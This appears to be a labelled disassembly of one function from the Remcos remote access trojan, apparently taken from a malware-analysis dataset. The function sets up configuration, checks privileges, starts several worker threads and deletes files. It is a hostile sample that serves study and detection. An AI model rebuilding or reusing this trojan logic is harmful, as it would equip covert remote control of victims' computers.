Function at 0x40e9c5
Capabilities:
Create thread
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [ebp + 8]
sub esp, 0x30c
mov dword [0x472d40], eax
push ebx
push esi
push edi
call fcn.0041cb50
push 0x104
push 0x472b38
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
lea ecx, [esp + 0x48]
call fcn.0040f3c3
sub esp, 0x18
mov ecx, esp
push 0x475368
call fcn.004020f6
sub esp, 0x18
lea eax, [esp + 0x78]
mov ecx, esp
push eax
call fcn.004020f6
lea ecx, [esp + 0x60]
call fcn.0041be1b
add esp, 0x30
push eax
call fcn.0040fb17
lea ecx, [esp + 0x30]
call fcn.00401e8d
push 0x467378
push dword [ebp + 0x10]
call fcn.0043fd00
pop ecx
pop ecx
test eax, eax
jne 0x40ea93
push ecx
push ecx
push 2
push str.license_code.txt
lea ecx, [esp + 0x70]
call fcn.0040fbb3
push 0x34
mov ecx, 0x4750e4
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
push eax
pop edx
lea ecx, [esp + 0x60]
call fcn.00410f37
lea ecx, [esp + 0x60]
call fcn.0040fb64
lea ecx, [esp + 0x60]
call fcn.0040f3b0
xor esi, esi
inc esi
jmp 0x40eef2
push 3
pop ebx
mov esi, 0x4750e4
push ebx
push esi
pop ecx
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
push 0x4660bc
push 0xe
push esi
pop ecx
cmp byte [eax], 0
setne byte [0x472b32]
call fcn.00401e65
push eax
mov edx, str.Software_
lea ecx, [esp + 0x1c]
call fcn.0040531e
pop ecx
push eax
pop edx
lea ecx, [esp + 0x34]
call fcn.00406383
pop ecx
push eax
mov ecx, 0x4752f0
call fcn.00401fe2
lea ecx, [esp + 0x30]
call fcn.00401fd8
lea ecx, [esp + 0x14]
call fcn.00401fd8
push 0xe
push esi
pop ecx
call fcn.00401e65
push eax
mov ecx, 0x475320
call fcn.00401fc0
push 0x46739c
mov ecx, 0x475380
call fcn.00405aa6
push edi
push 0x32
push esi
pop ecx
call fcn.00401e65
push eax
pop ecx
call fcn.004051e3
push edi
push 0x33
push esi
pop ecx
cmp byte [eax], 0
setne byte [0x472d4b]
call fcn.00401e65
push eax
pop ecx
call fcn.004051e3
cmp byte [eax], 0
setne byte [0x472d60]
cmp byte [0x472d4b], 0
je 0x40ebae
push 0x4673a0
mov edx, 0x475320
lea ecx, [esp + 0x18]
call fcn.00406c1e
pop ecx
push eax
mov ecx, 0x475418
call fcn.00401fe2
lea ecx, [esp + 0x14]
call fcn.00401fd8
lea eax, [esp + 0x2c]
mov dword [esp + 0x2c], edi
push eax
push 0x4673a4
mov ecx, 0x4752f0
call fcn.00401fab
push eax
pop edx
call fcn.00413549
pop ecx
pop ecx
test al, al
jne 0x40f34f
push 0xd
push esi
pop ecx
mov dword [esp + 0x14], edi
call fcn.00401e65
mov edx, 0x46611c
push eax
pop ecx
call fcn.0040b9bd
test al, al
je 0x40ec03
lea eax, [esp + 0x10]
mov ecx, 0x4752f0
push eax
push 0x4673a8
call fcn.00401fab
push eax
pop edx
call fcn.00413549
pop ecx
pop ecx
test al, al
je 0x40ec03
push 0x4673a8
mov ecx, 0x4752f0
call fcn.00401fab
push eax
pop edx
call fcn.004139a9
pop ecx
call fcn.0040d069
test eax, eax
jne 0x40ec13
push 2
jmp 0x40eef1
mov eax, dword [0x474aec]
test eax, eax
je 0x40ec1e
call eax
call fcn.0041b2c3
mov eax, dword [0x474af8]
test eax, eax
je 0x40ec33
call eax
mov dword [0x4719d0], eax
cmp dword [esp + 0x10], edi
jne 0x40ec76
call fcn.00407716
test eax, eax
je 0x40ec4c
call fcn.00407738
call fcn.00407260
push 0x2e
push esi
pop ecx
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
cmp byte [eax], 0
je 0x40ec76
cmp dword [0x474af8], edi
je 0x40ec76
cmp dword [0x4719d0], edi
jne 0x40ec76
call fcn.00407260
push 0x27
push esi
pop ecx
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
cmp byte [eax], 0
je 0x40ec90
call fcn.00407755
push 0xe
push esi
pop ecx
call fcn.00401e65
push eax
pop edx
lea ecx, [esp + 0x14]
call fcn.0041bc5e
push eax
mov ecx, 0x4752c0
call fcn.00401f13
lea ecx, [esp + 0x14]
call fcn.00401f09
push 4
push esi
pop ecx
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
push 5
push esi
pop ecx
cmp byte [eax], 0
setne byte [0x472b33]
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
push 8
push esi
pop ecx
cmp byte [eax], 0
setne byte [0x472b30]
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
push ebx
push esi
pop ecx
cmp byte [eax], 0
setne byte [0x472b31]
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
cmp byte [eax], 0
je 0x40ed80
push 0x30
push esi
pop ecx
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
push eax
call fcn.0043bad6
pop ecx
test eax, eax
je 0x40ed80
push 9
push esi
pop ecx
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
push 0x30
mov ecx, 0x4750e4
push eax
pop esi
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
mov dl, byte [esi]
lea ecx, [esp + 0x14]
push eax
call fcn.0040da34
pop ecx
push eax
mov ecx, 0x475308
call fcn.00401f13
lea ecx, [esp + 0x14]
call fcn.00401f09
mov esi, 0x4750e4
cmp dword [esp + 0x10], edi
jne 0x40ef06
cmp byte [0x472b32], 0
je 0x40ee0f
push 0x1e
push esi
pop ecx
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
push 0xc
push esi
pop ecx
mov bh, byte [eax]
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
push 9
push esi
pop ecx
mov bl, byte [eax]
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
test bh, bh
push eax
pop esi
setne cl
test bl, bl
movzx ecx, cl
mov ebx, 0x4750e4
push ecx
setne cl
movzx ecx, cl
push ecx
push 0xa
push ebx
pop ecx
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
push eax
push 0x30
push ebx
pop ecx
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
mov cl, byte [esi]
push eax
pop edx
call fcn.0040cdf9
add esp, 0xc
jmp 0x40ee1e
push 0x472b38
mov ecx, 0x4752d8
call fcn.00409057
mov ecx, 0x4752d8
call fcn.0040247c
push 2
xor ebx, ebx
inc eax
pop ecx
mul ecx
seto bl
neg ebx
or ebx, eax
push ebx
call fcn.00434798
push eax
pop esi
pop ecx
test esi, esi
je 0x40ee51
push ebx
push edi
push esi
call fcn.00436e90
add esp, 0xc
jmp 0x40ee53
push edi
pop esi
mov ecx, 0x4752d8
call fcn.00401f04
push eax
push esi
call fcn.0043f809
pop ecx
mov ebx, 0x475338
push ebx
pop ecx
call fcn.0040247c
push eax
push ebx
pop ecx
call fcn.00401fab
push eax
mov ecx, 0x4752d8
call fcn.0040247c
mov ecx, 0x4752f0
lea eax, [eax*2 + 2]
push eax
push esi
push str.exepath
call fcn.00401fab
push eax
pop edx
call fcn.00413947
push esi
call fcn.004347a1
add esp, 0x1c
mov esi, 0x4750e4
push esi
pop ecx
push 0xd
call fcn.00401e65
mov edx, 0x46611c
push eax
pop ecx
call fcn.0040b9bd
test al, al
je 0x40ef6b
push 0xd
push esi
pop ecx
call fcn.00401e65
sub esp, 0x18
push eax
pop edx
mov ecx, esp
call fcn.0041bc5e
call fcn.0040f474
add esp, 0x18
cmp al, 1
jne 0x40ef6b
push 3
pop esi
lea ecx, [esp + 0x48]
call fcn.00401fd8
pop edi
push esi
pop eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov esi, 0x208
lea eax, [esp + 0x110]
push esi
push edi
push eax
call fcn.00436e90
add esp, 0xc
mov ebx, 0x475338
push ebx
pop ecx
call fcn.0040247c
push eax
push ebx
pop ecx
call fcn.00401fab
push eax
push esi
lea eax, [esp + 0x11c]
mov ecx, 0x4752f0
push eax
push str.exepath
call fcn.00401fab
push eax
pop edx
call fcn.004136f8
add esp, 0x14
lea eax, [esp + 0x110]
mov ecx, 0x4752d8
push eax
call fcn.00409057
mov esi, 0x4750e4
push 1
push 0x34
push esi
pop ecx
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00402093
push str.licence
mov ecx, 0x4752f0
call fcn.00401fab
push eax
pop edx
call fcn.0041376f
add esp, 0x20
push esi
pop ecx
push 0x28
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
push eax
call fcn.0043baac
mov byte [0x472d48], al
pop ecx
cmp al, 2
jne 0x40efdc
mov cl, 1
call fcn.0041cd9b
push edi
push edi
push edi
push 0x41d45d
push edi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_CreateThread]
call edi
jmp 0x40efea
cmp al, 1
jne 0x40efe4
xor cl, cl
jmp 0x40efc3
mov edi, dword [sym.imp.KERNEL32.DLL_CreateThread]
sub esp, 0x18
mov ecx, esp
push str.Remcos_Agent_initialized
call fcn.00402093
sub esp, 0x18
mov ecx, esp
push 0x465fa4
call fcn.00402093
call fcn.0041b4ef
add esp, 0x30
push esi
pop ecx
push 0xb
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
push 0x10
push esi
pop ecx
mov bl, byte [eax]
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
test bl, bl
push eax
pop esi
mov ebx, 0x4750e4
setne cl
movzx ecx, cl
push ecx
push 7
push ebx
pop ecx
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
push eax
call fcn.0043baac
pop ecx
push eax
push 0x11
push ebx
pop ecx
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
push eax
push 0x31
push ebx
pop ecx
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
push eax
movzx eax, byte [esi]
push ebx
pop ecx
push eax
push 0x2a
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
push eax
push 0xf
push ebx
pop ecx
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
push eax
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
push eax
mov ecx, 0x4750f0
call fcn.00409de4
push 0x14
push ebx
pop ecx
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
cmp byte [eax], 1
jne 0x40f101
push 2
pop eax
push eax
call fcn.004344ea
push eax
pop esi
xor ebx, ebx
pop ecx
push 0x35
mov ecx, 0x4750e4
mov byte [esi], bl
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
push ebx
push ebx
push esi
cmp byte [eax], bl
push 0x419fb4
push ebx
setne cl
push ebx
mov byte [esi + 1], cl
call edi
jmp 0x40f103
xor ebx, ebx
mov esi, 0x4750e4
push 0x16
push esi
pop ecx
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
cmp byte [eax], 1
jne 0x40f159
push 2
pop eax
push eax
call fcn.004344ea
push eax
pop esi
pop ecx
push 0x35
mov ecx, 0x4750e4
mov byte [esi], 1
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
push ebx
push ebx
push esi
cmp byte [eax], 0
push 0x419fb4
push ebx
setne cl
push ebx
mov byte [esi + 1], cl
call edi
mov esi, 0x4750e4
push 0x23
push esi
pop ecx
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
cmp byte [eax], 1
jne 0x40f1cc
push 0x25
push esi
pop ecx
mov byte [0x472a85], 1
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
push 0x26
mov ecx, 0x4750e4
push eax
pop esi
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
mov dl, byte [esi]
lea ecx, [esp + 0x14]
push eax
call fcn.0040d9e8
pop ecx
push eax
mov ecx, 0x474d64
call fcn.00401f13
lea ecx, [esp + 0x14]
call fcn.00401f09
push ebx
push ebx
push ebx
push 0x401be9
push ebx
push ebx
call edi
mov esi, 0x4750e4
push 0x2b
push esi
pop ecx
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
cmp byte [eax], 1
jne 0x40f21a
push 0x2c
push esi
pop ecx
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
push 0x2d
mov ecx, 0x4750e4
push eax
pop esi
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
push eax
call fcn.0043baac
cmp byte [esi], 0
push eax
pop edx
pop ecx
setne cl
call fcn.0040c162
lea ecx, [esp + 0x14]
call fcn.0041b60d
push eax
mov ecx, 0x475350
call fcn.00401f13
lea ecx, [esp + 0x14]
call fcn.00401f09
mov eax, dword [0x474af0]
test eax, eax
je 0x40f243
push ebx
call eax
push ebx
push ebx
push ebx
push 0x40f7a7
push ebx
push ebx
call edi
cmp byte [0x472d4b], 0
je 0x40f264
push ebx
push ebx
push ebx
push fcn.004120f7
push ebx
push ebx
call edi
cmp byte [0x472d60], 0
je 0x40f279
push ebx
push ebx
push ebx
push 0x4126db
push ebx
push ebx
call edi
mov eax, dword [0x4719d0]
sub eax, ebx
je 0x40f28e
sub eax, 1
jne 0x40f2cc
push str.Administrator
jmp 0x40f293
push str.User
lea ecx, [esp + 0x18]
call fcn.00402093
sub esp, 0x18
mov edx, str.Access_Level:
mov ecx, esp
push eax
call fcn.004052fd
sub esp, 0x14
mov ecx, esp
push 0x465fa4
call fcn.00402093
call fcn.0041b4ef
add esp, 0x30
lea ecx, [esp + 0x14]
call fcn.00401fd8
mov edi, 0x4752f0
push 0x4673f8
push edi
pop ecx
call fcn.00401fab
push eax
pop edx
call fcn.004134ff
pop ecx
test al, al
je 0x40f3a5
push 0x466f6c
push edi
pop edx
lea ecx, [esp + 0x18]
call fcn.0041bc5e
push eax
pop ecx
call fcn.00401f04
push eax
mov edx, closesocket
lea ecx, [esp + 0x38]
call fcn.0041361b
pop ecx
pop ecx
lea ecx, [esp + 0x14]
call fcn.00401f09
lea ecx, [esp + 0x30]
call fcn.00401f04
mov esi, dword [sym.imp.KERNEL32.DLL_DeleteFileW]
jmp 0x40f346
cmp ebx, 0xa
jge 0x40f36f
push 0xa
inc ebx
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea ecx, [esp + 0x30]
call fcn.00401f04
push eax
call esi
test eax, eax
je 0x40f32f
jmp 0x40f36f
push 0x4673a4
mov ecx, 0x4752f0
call fcn.00401fab
push eax
pop edx
call fcn.004139a9
pop ecx
mov ecx, dword [esp + 0x2c]
call fcn.00412475
push 0x466f6c
push edi
pop edx
lea ecx, [esp + 0x18]
call fcn.0041bc5e
push eax
pop ecx
call fcn.00401f04
push eax
pop edx
mov ecx, closesocket
call fcn.00413a23
pop ecx
lea ecx, [esp + 0x14]
call fcn.00401f09
lea ecx, [esp + 0x30]
call fcn.00401f09
call fcn.0040dd42
call fcn.00414f2a
int3